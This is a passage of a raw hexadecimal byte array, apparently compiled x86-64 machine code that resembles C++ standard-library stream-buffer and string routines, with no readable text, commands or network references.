0x24, 0x30, 0x4C, 0x8D, 0x4C, 0x24, 0x51, 0x48, 0x8D, 0x44, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8D, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x44, 0x24, 0x48, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xAA, 0x45, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2A, 0x83, 0xE8, 0x01, 0x74, 0x25, 0x83, 0xF8, 0x02, 0x75, 0x68, 0x0F, 0xBE, 0x4C, 0x24, 0x50, 0x48, 0x8B, 0x93, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xEA, 0x47, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B, 0xC1, 0x0F, 0x45, 0xCF, 0x8B, 0xC1, 0xEB, 0x4D, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8D, 0x44, 0x24, 0x58, 0x48, 0x2B, 0xF0, 0x74, 0x1F, 0x4C, 0x8B, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, 0x4C, 0x8B, 0xC6, 0xBA, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x7B, 0x47, 0x00, 0x00, 0x48, 0x3B, 0xF0, 0x75, 0x1A, 0x48, 0x8D, 0x44, 0x24, 0x50, 0xC6, 0x43, 0x71, 0x01, 0x48, 0x39, 0x44, 0x24, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x45, 0xCF, 0x8B, 0xC1, 0xEB, 0x05, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x78, 0x48, 0x33, 0xCC, 0xE8, 0xFA, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x80, 0x00, 0x00, 0x00, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x89, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0xFF, 0x25, 0x6D, 0x46, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x89, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0xFF, 0x25, 0x55, 0x46, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8D, 0x05, 0x68, 0x49, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x74, 0x2F, 0x48, 0x8B, 0x49, 0x18, 0x48, 0x8D, 0x43, 0x70, 0x48, 0x39, 0x01, 0x75, 0x22, 0x4C, 0x8B, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x11, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x10, 0x44, 0x2B, 0xC2, 0x48, 0x8B, 0x43, 0x50, 0x44, 0x89, 0x00, 0x80, 0x7B, 0x7C, 0x00, 0x74, 0x08, 0x48, 0x8B, 0xCB, 0xE8, 0x56, 0x0A, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x7F, 0x44, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x09, 0x48, 0x85, 0xC9, 0x74, 0x3A, 0x48, 0x8B, 0x53, 0x10, 0x48, 0x2B, 0xD1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x1B, 0x49, 0x8B, 0xC8, 0xE8, 0xF6, 0x1E, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x89, 0x03, 0x48, 0x89, 0x43, 0x08, 0x48, 0x89, 0x43, 0x10, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xFF, 0x15, 0xE9, 0x45, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x49, 0x8B, 0xD8, 0x4C, 0x8B, 0xD9, 0x41, 0xF6, 0xC1, 0x01, 0x74, 0x0A, 0xF6, 0x41, 0x70, 0x04, 0x74, 0x04, 0xB1, 0x01, 0xEB, 0x02, 0x32, 0xC9, 0x41, 0xF6, 0xC1, 0x02, 0x74, 0x0B, 0x41, 0xF6, 0x43, 0x70, 0x02, 0x74, 0x04, 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x4C, 0x89, 0x74, 0x24, 0x20, 0x84, 0xC9, 0x0F, 0x85, 0xBF, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x85, 0xB7, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x40, 0x08, 0x49, 0x8B, 0x43, 0x38, 0x4C, 0x03, 0x03, 0x41, 0xF6, 0x43, 0x70, 0x02, 0x48, 0x8B, 0x30, 0x74, 0x04, 0x33, 0xC9, 0xEB, 0x16, 0x49, 0x8B, 0x43, 0x40, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0A, 0x49, 0x39, 0x4B, 0x68, 0x73, 0x04, 0x49, 0x89, 0x4B, 0x68, 0x4D, 0x8B, 0x73, 0x18, 0x49, 0x8B, 0x5B, 0x68, 0x48, 0x8B, 0xC3, 0x49, 0x8B, 0x3E, 0x48, 0x2B, 0xC7, 0x4C, 0x3B, 0xC0, 0x77, 0x72, 0x4D, 0x85, 0xC0, 0x74, 0x16, 0x41, 0xF6, 0xC1, 0x01, 0x74, 0x05, 0x48, 0x85, 0xF6, 0x74, 0x62, 0x41, 0xF6, 0xC1, 0x02, 0x74, 0x05, 0x48, 0x85, 0xC9, 0x74, 0x57, 0x4E, 0x8D, 0x14, 0x07, 0x41, 0xF6, 0xC1, 0x01, 0x74, 0x18, 0x48, 0x85, 0xF6, 0x74, 0x13, 0x49, 0x89, 0x3E, 0x41, 0x2B, 0xDA, 0x49, 0x8B, 0x43, 0x38, 0x4C, 0x89, 0x10, 0x49, 0x8B, 0x43, 0x50, 0x89, 0x18, 0x41, 0xF6, 0xC1, 0x02, 0x74, 0x2A, 0x48, 0x85, 0xC9, 0x74, 0x25, 0x49, 0x8B, 0x43, 0x58, 0x48, 0x63, 0x08, 0x49, 0x8B, 0x43, 0x40, 0x48, 0x03, 0x08, 0x49, 0x8B, 0x43, 0x20, 0x41, 0x2B, 0xCA, 0x48, 0x89, 0x38, 0x49, 0x8B, 0x43, 0x40, 0x4C, 0x89, 0x10, 0x49, 0x8B, 0x43, 0x58, 0x89, 0x08, 0x4C, 0x89, 0x02, 0xEB, 0x07, 0x48, 0xC7, 0x02, 0xFF, 0xFF, 0xFF, 0xFF, 0x4C, 0x8B, 0x74, 0x24, 0x20, 0x33, 0xC0, 0x48, 0x8B, 0x7C, 0x24, 0x18, 0x48, 0x8B, 0x74, 0x24, 0x10, 0x48, 0xC7, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x42, 0x10, 0x48, 0x8B, 0xC2, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x6C, 0x24, 0x18, 0x57, 0x8B, 0x5C, 0x24, 0x30, 0x41, 0x8B, 0xF9, 0x49, 0x8B, 0xE8, 0x4C, 0x8B, 0xD9, 0xF6, 0xC3, 0x01, 0x74, 0x0A, 0xF6, 0x41, 0x70, 0x04, 0x74, 0x04, 0xB1, 0x01, 0xEB, 0x02, 0x32, 0xC9, 0xF6, 0xC3, 0x02, 0x74, 0x0B, 0x41, 0xF6, 0x43, 0x70, 0x02, 0x74, 0x04, 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x89, 0x74, 0x24, 0x10, 0x84, 0xC9, 0x0F, 0x85, 0x1C, 0x01, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x85, 0x14, 0x01, 0x00, 0x00, 0x41, 0xF6, 0x43, 0x70, 0x02, 0x49, 0x8B, 0x43, 0x38, 0x48, 0x8B, 0x08, 0x74, 0x05, 0x45, 0x33, 0xC0, 0xEB, 0x16, 0x49, 0x8B, 0x43, 0x40, 0x4C, 0x8B, 0x00, 0x4D, 0x85, 0xC0, 0x74, 0x0A, 0x4D, 0x39, 0x43, 0x68, 0x73, 0x04, 0x4D, 0x89, 0x43, 0x68, 0x49, 0x8B, 0x43, 0x18, 0x49, 0x8B, 0x73, 0x68, 0x4C, 0x8B, 0x08, 0x49, 0x2B, 0xF1, 0x85, 0xFF, 0x74, 0x5A, 0x83, 0xEF, 0x01, 0x74, 0x0E, 0x83, 0xFF, 0x01, 0x0F, 0x85, 0xCB, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC6, 0xEB, 0x49, 0x8B, 0xC3, 0x83, 0xE0, 0x03, 0x3C, 0x03, 0x0F, 0x84, 0xB9, 0x00, 0x00, 0x00, 0xF6, 0xC3, 0x01, 0x74, 0x16, 0x48, 0x85, 0xC9, 0x75, 0x09, 0x4D, 0x85, 0xC9, 0x0F, 0x85, 0xA6, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x49, 0x2B, 0xC1, 0xEB, 0x21, 0xF6, 0xC3, 0x02, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC0, 0x75, 0x09, 0x4D, 0x85, 0xC9, 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xC0, 0x49, 0x2B, 0xC1, 0xEB, 0x02, 0x33, 0xC0, 0x4C, 0x8D, 0x14, 0x28, 0x4C, 0x3B, 0xD6, 0x77, 0x74, 0x4D, 0x85, 0xD2, 0x74, 0x14, 0xF6, 0xC3, 0x01, 0x74, 0x05, 0x48, 0x85, 0xC9, 0x74, 0x65, 0xF6, 0xC3, 0x02, 0x74, 0x05, 0x4D, 0x85, 0xC0, 0x74, 0x5B, 0x4B, 0x8D, 0x3C, 0x11, 0xF6, 0xC3, 0x01, 0x74, 0x1F, 0x48, 0x85, 0xC9, 0x74, 0x1A, 0x49, 0x8B, 0x43, 0x18, 0x49, 0x8B, 0x4B, 0x68, 0x2B, 0xCF, 0x4C, 0x89, 0x08, 0x49, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x38, 0x49, 0x8B, 0x43, 0x50, 0x89, 0x08, 0xF6, 0xC3, 0x02, 0x74, 0x29, 0x4D, 0x85, 0xC0, 0x74, 0x24, 0x49, 0x8B, 0x43, 0x58, 0x48, 0x63, 0x08, 0x49, 0x8B, 0x43, 0x40, 0x48, 0x03, 0x08, 0x49, 0x8B, 0x43, 0x20, 0x2B, 0xCF, 0x4C, 0x89, 0x08, 0x49, 0x8B, 0x43, 0x40, 0x48, 0x89, 0x38, 0x49, 0x8B, 0x43, 0x58, 0x89, 0x08, 0x4C, 0x89, 0x12, 0xEB, 0x07, 0x48, 0xC7, 0x02, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x74, 0x24, 0x10, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x18, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x48, 0xC7, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x42, 0x10, 0x48, 0x8B, 0xC2, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x18, 0x4C, 0x8B, 0x51, 0x38, 0x48, 0x8B, 0xD1, 0x4D, 0x8B, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x5D, 0x48, 0x8B, 0x41, 0x50, 0x48, 0x63, 0x08, 0x49, 0x03, 0xC8, 0x4C, 0x3B, 0xC1, 0x73, 0x09, 0x41, 0x0F, 0xB6, 0x00, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0x48, 0x8B, 0x42, 0x40, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x39, 0xF6, 0x42, 0x70, 0x04, 0x75, 0x33, 0x4C, 0x8B, 0x4A, 0x68, 0x4C, 0x3B, 0xC9, 0x4C, 0x0F, 0x42, 0xC9, 0x4D, 0x3B, 0xC8, 0x76, 0x23, 0x4C, 0x89, 0x4A, 0x68, 0x49, 0x8B, 0x0A, 0x49, 0x89, 0x0A, 0x44, 0x2B, 0xC9, 0x48, 0x8B, 0x42, 0x50, 0x44, 0x89, 0x08, 0x48, 0x8B, 0x42, 0x38, 0x48, 0x8B, 0x08, 0x0F, 0xB6, 0x01, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x41, 0x38, 0x4C, 0x8B, 0x00, 0x4D, 0x85, 0xC0, 0x74, 0x40, 0x48, 0x8B, 0x41, 0x18, 0x4C, 0x3B, 0x00, 0x76, 0x37, 0x83, 0xFA, 0xFF, 0x74, 0x0C, 0x41, 0x3A, 0x50, 0xFF, 0x74, 0x06, 0xF6, 0x41, 0x70, 0x02, 0x75, 0x26, 0x48, 0x8B, 0x41, 0x50, 0xFF, 0x00, 0x48, 0x8B, 0x41, 0x38, 0x48, 0xFF, 0x08, 0x83, 0xFA, 0xFF, 0x74, 0x09, 0x48, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0x08, 0x88, 0x11, 0x33, 0xC0, 0x83, 0xFA, 0xFF, 0x0F, 0x44, 0xD0, 0x8B, 0xC2, 0xC3, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x6C, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0xF6, 0x41, 0x70, 0x02, 0x44, 0x8B, 0xFA, 0x48, 0x8B, 0xF9, 0x0F, 0x85, 0xAD, 0x01, 0x00, 0x00, 0x83, 0xFA, 0xFF, 0x75, 0x07, 0x33, 0xC0, 0xE9, 0xA6, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x41, 0x40, 0x48, 0x8B, 0x49, 0x58, 0x4C, 0x8B, 0x00, 0x48, 0x63, 0x01, 0x49, 0x8D, 0x1C, 0x00, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0x98, 0x00, 0x00, 0x00, 0x4C, 0x3B, 0xC3, 0x73, 0x25, 0xFF, 0xC8, 0x89, 0x01, 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8B, 0x11, 0x48, 0x8D, 0x42, 0x01, 0x48, 0x89, 0x01, 0x49, 0x8D, 0x40, 0x01, 0x44, 0x88, 0x3A, 0x48, 0x89, 0x47, 0x68, 0x41, 0x8B, 0xC7, 0xE9, 0x61, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x47, 0x18, 0x48, 0x8B, 0x30, 0x48, 0x2B, 0xDE, 0x48, 0x83, 0xFB, 0x20, 0x72, 0x67, 0x48, 0x81, 0xFB, 0xFF, 0xFF, 0xFF, 0x3F, 0x73, 0x26, 0x48, 0x8D, 0x2C, 0x1B, 0x48, 0x85, 0xED, 0x75, 0x05, 0x45, 0x33, 0xF6, 0xEB, 0x60, 0x48, 0x81, 0xFD, 0x00, 0x10, 0x00, 0x00, 0x72, 0x4C, 0x48, 0x8D, 0x4D, 0x27, 0x48, 0x3B, 0xCD, 0x0F, 0x86, 0x3D, 0x01, 0x00, 0x00, 0xEB, 0x13, 0xBD, 0xFF, 0xFF, 0xFF, 0x7F, 0x48, 0x3B, 0xDD, 0x0F, 0x83, 0x0F, 0x01, 0x00, 0x00, 0xB9, 0x26, 0x00, 0x00, 0x80, 0xE8, 0x20, 0x1A, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xF5, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x70, 0x27, 0x49, 0x83, 0xE6, 0xE0, 0x49, 0x89, 0x46, 0xF8, 0xEB, 0x19, 0x48, 0x8B, 0x47, 0x18, 0x33, 0xDB, 0x48, 0x8B, 0x30, 0xBD, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x19, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x4C, 0x8B, 0xC3, 0x48, 0x8B, 0xD6, 0x49, 0x8B, 0xCE, 0xE8, 0x85, 0x28, 0x00, 0x00, 0x49, 0x8D, 0x14, 0x1E, 0x48, 0x8D, 0x4A, 0x01, 0x48, 0x89, 0x4F, 0x68, 0x48, 0x8B, 0x4F, 0x20, 0x4C, 0x89, 0x31, 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x89, 0x11, 0x41, 0x8B, 0xCE, 0x48, 0x8B, 0x47, 0x58, 0x2B, 0xCA, 0x03, 0xCD, 0x89, 0x08, 0xF6, 0x47, 0x70, 0x04, 0x74, 0x1A, 0x48, 0x8B, 0x47, 0x18, 0x4C, 0x89, 0x30, 0x48, 0x8B, 0x47, 0x38, 0x4C, 0x89, 0x30, 0x48, 0x8B, 0x47, 0x50, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x27, 0x48, 0x8B, 0x47, 0x38, 0x48, 0x8B, 0x57, 0x68, 0x48, 0x8B, 0x08, 0x48, 0x8B, 0x47, 0x18, 0x48, 0x2B, 0xCE, 0x49, 0x03, 0xCE, 0x2B, 0xD1, 0x4C, 0x89, 0x30, 0x48, 0x8B, 0x47, 0x38, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x47, 0x50, 0x89, 0x10, 0xF6, 0x47, 0x70, 0x01, 0x74, 0x2C, 0x48, 0x81, 0xFB, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x48, 0x8B, 0x4E, 0xF8, 0x48, 0x83, 0xC3, 0x27, 0x48, 0x2B, 0xF1, 0x48, 0x8D, 0x46, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x2E, 0x48, 0x8B, 0xF1, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCE, 0xE8, 0x86, 0x19, 0x00, 0x00, 0x48, 0x8B, 0x47, 0x58, 0x83, 0x4F, 0x70, 0x01, 0xFF, 0x08, 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8B, 0x11, 0x48, 0x8D, 0x42, 0x01, 0x48, 0x89, 0x01, 0x41, 0x8B, 0xC7, 0x44, 0x88, 0x3A, 0xEB, 0x0C, 0xFF, 0x15, 0x6C, 0x40, 0x00, 0x00, 0xCC, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x8B, 0x6C, 0x24, 0x60, 0x48, 0x8B, 0x74, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0xC3, 0xE8, 0x48, 0xBE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xF6, 0x41, 0x70, 0x01, 0x48, 0x8D, 0x05, 0xBF, 0x43, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0xD9, 0x74, 0x56, 0x48, 0x8B, 0x41, 0x40, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x8B, 0x43, 0x58, 0x48, 0x63, 0x10, 0x48, 0x03, 0xD1, 0xEB, 0x0E, 0x48, 0x8B, 0x43, 0x50, 0x48, 0x63, 0x10, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x03, 0x10, 0x48, 0x8B, 0x43, 0x18, 0x48, 0x8B, 0x08, 0x48, 0x2B, 0xD1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x49, 0x49, 0x8B, 0xC8, 0xE8, 0xC5, 0x18, 0x00, 0x00, 0x48, 0x8B, 0x43, 0x18, 0x33, 0xC9, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x50, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x20, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x40, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x58, 0x89, 0x08, 0x83, 0x63, 0x70, 0xFE, 0x48, 0x89, 0x4B, 0x68, 0x48, 0x8B, 0xCB, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0xC8, 0x3D, 0x00, 0x00, 0xFF, 0x15, 0x8A, 0x3F, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x18, 0x48, 0x8B, 0xD9, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x2C, 0x48, 0x8B, 0x09, 0x48, 0xFF, 0xC2, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x21, 0x49, 0x8B, 0xC8, 0xE8, 0x35, 0x18, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x10, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x43, 0x18, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x03, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xFF, 0x15, 0x22, 0x3F, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0xB9, 0x58, 0xFF, 0xFF, 0xFF, 0x8B, 0xDA, 0x48, 0x8B, 0xCF, 0xE8, 0xD5, 0xDF, 0xFF, 0xFF, 0xF6, 0xC3, 0x01, 0x74, 0x0D, 0xBA, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xE8, 0xE7, 0x17, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xC7, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x8B, 0xFA, 0x48, 0x8B, 0xD9, 0x48, 0x8D, 0x05, 0x92, 0x41, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x74, 0x2D, 0x4C, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x41, 0x70, 0x49, 0x39, 0x00, 0x75, 0x20, 0x48, 0x8B, 0x91, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x89, 0x88, 0x00, 0x00, 0x00, 0x49, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x08, 0x2B, 0xD1, 0x48, 0x8B, 0x43, 0x50, 0x89, 0x10, 0x80, 0x7B, 0x7C, 0x00, 0x74, 0x08, 0x48, 0x8B, 0xCB, 0xE8, 0x82, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB1, 0x3C, 0x00, 0x00, 0x90, 0x40, 0xF6, 0xC7, 0x01, 0x74, 0x0D, 0xBA, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xE8, 0x59, 0x17, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0xB9, 0x50, 0xFF, 0xFF, 0xFF, 0x8B, 0xDA, 0x48, 0x8B, 0xCF, 0xE8, 0xF5, 0xD9, 0xFF, 0xFF, 0xF6, 0xC3, 0x01, 0x74, 0x0D, 0xBA, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xE8, 0x17, 0x17, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xC7, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0xBC, 0xFD, 0xFF, 0xFF, 0xF6, 0xC3, 0x01, 0x74, 0x0D, 0xBA, 0x78, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xE8, 0xDE, 0x16, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xC7, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x81, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD9, 0x8B, 0xFA, 0x4C, 0x63, 0x40, 0x04, 0x48, 0x8D, 0x05, 0x62, 0x40, 0x00, 0x00, 0x49, 0x89, 0x84, 0x08, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x81, 0x78, 0xFF, 0xFF, 0xFF, 0x4C, 0x63, 0x40, 0x04, 0x45, 0x8D, 0x88, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x89, 0x8C, 0x08, 0x74, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC1, 0x80, 0xE8, 0x3F, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4B, 0x88, 0xFF, 0x15, 0x05, 0x3C, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF4, 0x3B, 0x00, 0x00, 0x40, 0xF6, 0xC7, 0x01, 0x74, 0x11, 0xBA, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8B, 0x78, 0xFF, 0xFF, 0xFF, 0xE8, 0x49, 0x16, 0x00, 0x00, 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x8D, 0x83, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x39, 0x3B, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x0A, 0x48, 0x8B, 0x0B, 0xFF, 0x15, 0x04, 0x3B, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x0B, 0x48, 0x8B, 0x01, 0x48, 0x63, 0x50, 0x04, 0x48, 0x8B, 0x4C, 0x0A, 0x48, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 